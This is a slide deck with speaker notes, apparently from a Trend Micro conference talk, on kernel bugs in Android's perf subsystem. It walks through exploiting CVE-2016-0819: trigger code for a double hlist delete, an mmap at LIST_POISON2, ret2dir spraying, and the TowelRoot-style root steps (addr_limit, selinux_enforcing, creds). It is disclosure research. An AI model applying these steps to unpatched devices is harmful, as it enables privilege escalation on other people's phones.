From Profiling to Kernel Exploiting
•Download as PPT, PDF•
0 likes•585 views
Trend Micro's Mobile Threat Response Team presents Perf: From Profiling to Kernel Exploiting.
Recommended
Recommended
More Related Content
More from Trend Micro
More from Trend Micro (20)
Recently uploaded
Recently uploaded (20)
From Profiling to Kernel Exploiting
- 1. Perf: From Profiling to Kernel Exploiting @Wish_Wu Mobile Threat Response Team
- 2. 0 The Perf Performance counters: = hardware features (CPU/PMU, Performance Monitoring Unit) + software features (software counters, tracepoints). Running cmd“man perf_event_open”will show 1233 lines of descriptions. Userspace command perf Userspace tool source code tool/perf Related syscall perf_event_open ioctl mmap prctl close Kernel Source Code kernel/events/* arch/<arch>/kernel/*
- 3. 0 The Perf in Android • Syscall perf_event_open is enabled on most of the latest smart phones. • There is no strong relationship between the Android version and the customized Android Linux version. Vendors can also customize their linux kernel and SElinux policy. Most Android versions from 4.4.4 to 6.0.1 have enabled this syscall. • An application which has no permission required can invoke this syscall. • Many CPU vendors would like to add their PMU to Linux for specific performance testing. These codes will not be merged into the mainline of Linux. So these codes may not be totally reviewed.
- 4. 0 The Perf in Android Kernel Perf Subsystem Architecture Specific Vendor Specific Bug
- 5. 0 The Perf in Android How to detect bugs 1. perf_fuzzer (Vincent M. Weaver and Dave Jones) http://web.eece.maine.edu/~vweaver/projects/perf_events/fuzzer/2015_perf_fuz https://github.com/deater/perf_event_tests 2. Trinity https://github.com/kernelslacker/trinity 3. Code Review 4. Tools written by myself
- 6. 0 http://source.android.com/security/bulletin/2016-02-01.html http://source.android.com/security/bulletin/2016-03-01.html http://source.android.com/security/bulletin/2016-04-02.html The Perf in Android CVE Bug Severity Updated versions Date reported CVE-2016-0805 ANDROID-25773204* Critical 4.4.4, 5.0, 5.1.1, 6.0, 6.0.1 Nov 15, 2015 CVE-2016-0819 ANDROID-25364034* Critical 4.4.4, 5.0, 5.1.1, 6.0, 6.0.1 Oct 29, 2015 CVE-2016-0843 ANDROID-25801197* Critical 4.4.4, 5.0, 5.1.1, 6.0, 6.0.1 Nov 19, 2015 Bug Severity issue AndroidID-26112842 Low https://code.google.com/p/android/issues/detail?id=196588 AndroidID-28086229 Critical https://code.google.com/p/android/issues/detail?id=206153 Published Bugs Unpublished Bugs
- 7. 1 The Bug CVE-2016-0819 Possibly effected – and not limited to: Samsung GALAXY Note Edge Sony Xperia Z5 Samsung GALAXY Note 4 Sony Xperia Z4 Samsung GALAXY A9 Sony Xperia Z3 Samsung GALAXY A8 Sony Xperia E3 Samsung GALAXY A7 LG G5 Samsung GALAXY A5 LG G4 Samsung GALAXY On7 LG G4c Samsung GALAXY J7 LG Nexus 5X Samsung GALAXY J5 Motorola Nexus 6 Samsung GALAXY J3 Huawei Nexus 6P
- 8. 1 The Bug file: kernel/events/core.c 3105 static int perf_release(struct inode *inode, struct file *file) 3106 { 3107 struct perf_event *event = file->private_data; 3108 3109 /* 3110 * Event can be in state OFF because of a constraint check. 3111 * Change to ACTIVE so that it gets cleaned up correctly. 3112 */ 3113 if ((event->state == PERF_EVENT_STATE_OFF) && 3114 event->attr.constraint_duplicate) 3115 event->state = PERF_EVENT_STATE_ACTIVE; 3116 3117 put_event(file->private_data); 3118 return 0; 3119 }
- 9. 1 The Bug file: kernel/events/core.c 1199 if (event->state != PERF_EVENT_STATE_ACTIVE) 1200 return; 1201 1202 event->state = PERF_EVENT_STATE_INACTIVE; 1203 if (event->pending_disable) { 1204 event->pending_disable = 0; 1205 event->state = PERF_EVENT_STATE_OFF; 1206 } 1207 event->tstamp_stopped = tstamp; 1208 event->pmu->del(event, 0); 1209 event->oncpu = -1;
- 10. 1 The Bug Test Case Code: struct perf_event_attr attr; memset(&attr, 0, sizeof(attr)); attr.type = PERF_TYPE_TRACEPOINT; attr.size = sizeof(attr); attr.config = value //read from /sys/kernel/debug/tracing/events/* __u64 *ptr = &attr.config; ptr++; *ptr |= 1 << 23; //set constraint_duplicate to 1 int fd = perf_event_open(&attr, 0, -1,-1, 0); //use ioctl() to delete perf_event from list first time ioctl(fd, PERF_EVENT_IOC_DISABLE, 0); //use close() to delete perf_event from list second time, and free it close(fd);
- 11. 1 The Bug 1. The bug can double delete a hlist node. 2. For list in kernel, delete != free . 3. A deleted node can be added to hlist again. 4. Nodes can only be added into hlist head, but can be deleted from anywhere.
- 12. 2 Double delete //A hlist node is defined as below: struct hlist_node { struct hlist_node *next; struct hlist_node **pprev; }; //A hlist head is defined as below: struct hlist_head { struct hlist_node *first; }; next Node pprev next Node pprev next Node pprev first Head
- 13. 2 Double delete LIST_POISON2 == 0x00200200 in 32-bit Android. mmap((void *)0x200200, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0); mlock((void *)0x200200, 0x1000); GOOGLE: LIST_POISON2 to 0x00000200
- 14. 2 Double delete next 0x200200 pprev next Node10 pprev next Node20 pprev next Node30 pprev next Node40 pprev ioctl Node20 close Node20 close Node30 Leak Node30's address to userspace!!!! Node10’s next pointer points to free space Use After Free!!!!!!
- 15. 2 Double delete Simple ?? NO!!!!!
- 16. 2 Double delete
- 17. 3 Ret2dir Tech Vasileios P. Kemerlis. Michalis Polychronakis. Angelos D. Keromytis http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf
- 18. 3 Ret2dir Tech This node will be reused. I put data here.
- 19. 4 Get Root GeekBen's TowelRoot Source Code: https://github.com/geekben/towelroot/blob/master/towelroot.c 1.addr_limit = 0xffffffff 2.selinux_enforcing = 0 to bypass SELinux 3. modify struct cred and selinux security object.
- 20. 4 Get Root Demo
- 21. Thank You
Editor's Notes
- Performance counters for Linux are a new kernel-based subsystem that provide a framework for performance analysis. They cover both hardware features and software features
- Syscall perf_event_open is enabled on most of the latest smart phones. There is no strong relationship between the Android version and the Android customized Linux version. Vendors can also customize their linux kernel and SElinux policy. Most Android 4.4.4 to 6.0.1 have enabled this syscall. An application which has no permission required can invoke this syscall. Many CPU vendors would like to add their PMU to Linux for specific performance testing. These codes will not be merged into the mainline of Linux. So these codes may not be totally reviewed.
- Here is the code relationship of perf. Perf Subsystem has many architecture and vendor related codes, many of the codes are added by vendor, not in mainline of Linux. The red square marked the position where the bugs mostly exist.
- Here are 4 ways for me to detect bugs in perf. Thanks to these two guys , they released a paper and a perf_fuzzer tool. That helps me a lot. Trinity is a wellkown system call fuzzer.It sometimes help me. Than you should read the codes by yourself and write tools to test specific codes.
- I have found five bugs in the perf subsystem of Android. Google has published three of them. CVE-2016-0805 and CVE-2016-0843 are out of boundary access bugs in kernel. Here the unpublished critical bug can root nexus 6P
- I will exploit the critical bug CVE-2016-0819 to get root on Nexus 6. This bug exists in all Android Smart Phones which have Qualcomm CPU and Linux version 3.10 series.
- Here is the bug related source code. The red lines are added by Qualcomm or Google. Variable constraint_duplicate is added into function perf_release. Once we invoke close() and set variable constraint_duplicate to 1, the event state will be changed from OFF to ACTIVE again.
- If we set constraint_duplicate in user space , a double delete on a node will occur.
- Here is a test case code. We can use perf_event_open , ioctl and close to trigger this bug - it will then crash the whole system.
- But we should remember four key things. Delete does not = free 1,2,3,4
- This shows the hlist . Every node has a next pointer which points to the next node, they also have a pprev pointer which points to the previous node. The hlist starts from a list head.
- Here is the node delete function of hlist. Deleting one node, the pprev point of the node will be set to list poison2. List poison 2 = 200200 We can then use memory map to put memory space to that address. I use the parameter MAP_POPULATE and mlock to make sure the physical memory is mapped to the virtual address 0x200200 . In March’s Security Bulletin, Google set the LIST_POISON2 to 0x00000200. When the value is smaller than mmap_min_addr it mitigates the problem.
- Here I will demo the double delete operation I assume there are four nodes - node10 to node 40. They are connected with each other. First I will control node 20 Now node 10 will connect to node 30 and node 30 pprev point will connect to node 10. Node 20’s pprev point will connect directly to 200200 Next I close node 20. The program will treat the memory in address 200200 as a node. The node 200200 next point will point to node 30. Now we leak Node 30’s address to user space. Node 20 is now freed. Then I close node 30 and node 30 is freed Now Node 10 next point points to a free space. Use After Free
- We must create a “grace period” to run hlist_del_rcu. An easy way to do this is calling sleep (). The grace period is a term of RCU.. RCU means read, copy, update. RCU will delay the delete operation But if we invoke sleep () the process will schedule out the CPU. All nodes will be deleted from the list. After sleep () is returned all nodes will need to be added back into the list again. That will create an infinite loop in the list. This is the side effect of invoking sleep(). So how do we refill the freed node?
- I try to create this memory layout in kernel. Every 4 perf_event objects are located on one page. But the fd number may not equal the image described. The real situation is more complicated. One process can have only 1024 fds. So fork out more child process makes it easier to create the memory layout
- Thanks to these three guys – they supplied the technology that enabled me to spray random data to kernel space and still know where it is.
- According to kernel memory reuse rule, I exploited the UAF bug: 1. By continuously exposing the next node address until I found a node, at the start of a page. 2. I then freed one more page to increase the spray success rate. 3. Using ret2dir technology I sprayed data to the node at the beginning of the page. 4. I commanded the kernel to traverse the list and used a function pointer that I controlled.
- The root work is very like GeekBen&apos;s TowelRoot Source Code: I set the address limit of the thread to the max number of integers This enabled me to read and write the whole kernal space. Next I set the SElinux enforcing variable to 0 to bypass the SELinux Modifying the credentials and the SELinux security object – we now have the root.
- Now I show my exploit here. At the moment it is unstable. It may fail or crash the system. Using adb shell is more successful If I fail I will try again. Now it forks more child processes , every child process has 1000 fds. It increases the memory space to low virtual address. I found a node at page start, and I try to spray data to this address. Opps it failed
- Thank you everyone for your attention. Today I have introduced to you, a new Android bug pool to help protect our customers security better. I am happy now to answer any questions you may have.